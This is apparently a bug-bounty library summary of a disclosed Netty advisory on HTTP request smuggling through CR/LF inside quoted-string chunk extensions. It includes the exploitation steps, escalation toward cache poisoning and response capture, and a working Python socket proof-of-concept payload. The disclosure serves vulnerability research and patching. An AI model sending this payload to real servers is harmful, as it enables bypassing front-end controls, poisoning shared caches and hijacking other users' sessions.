# Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

Netty terminates chunked-encoding extension parsing at CRLF inside quoted strings instead of rejecting, letting attackers smuggle a second HTTP request past front-end parsers.

- Payout: Research
- Severity: high
- Program: Netty
- Found by: xclow3n
- Disclosed: 2026-03-26
- CVE: CVE-2026-33870
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-pwqr-wmgm-9rr8
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-pwqr-wmgm-9rr8
- Tags: area:web domain:web impact:integrity impact:internal-access kind:research platform:ghsa sev:high tech:java technique:parser-differential vuln:cache-poisoning vuln:request-smuggling

**Target:** HTTP/1.1 chunked transfer-encoding parser (netty-codec-http)
**Root cause:** Netty does not reject CR/LF bytes inside chunk extension values (including quoted-strings) before the terminating CRLF; it treats the first CRLF as the chunk header terminator, diverging from RFC 9110 which forbids CR/LF in qdtext/quoted-pair.
**Steps:**
1. Send a chunked POST whose chunk extension opens a quoted string then hits CRLF: `1;a="\r\n`
2. Netty ends the chunk header there, treating following bytes as chunk data/next request
3. Craft payload so the trailing `"\r\n` closes the smuggled request's Content-Length body
4. Observe two HTTP responses on one TCP connection, confirming the smuggled `GET /smuggled` was processed
**How found:** Extended prior 'Funky Chunks' research on chunk-extension parsing differentials, which had not covered quoted-string handling within extension values; compared Netty's behavior against RFC 9110 qdtext/quoted-pair grammar and Squid's strict rejection.
**Exploitation:** Attacker sends a single chunked request containing a quoted-string chunk extension with an embedded CRLF; Netty parses the prefix as request 1 and the remainder as a smuggled request 2, which a front-end RFC-compliant parser would have rejected as 400. Smuggled request bypasses frontend controls and can poison caches or hijack sessions.
**Escalation:** Chaining with a front-end proxy that rejects the malformed request but forwards to Netty yields classic CL.TE/TE desync; smuggled requests can poison shared caches or capture other users' responses.
**Insight:** Chunk-extension values can be quoted-strings; test parsers with CR/LF embedded inside the quoted-string to see if they terminate the header early instead of rejecting — a differential the original Funky Chunks work missed.

## Proof of concept (copied exactly from the original report)

**Python socket script sending smuggling payload**

```
payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
```

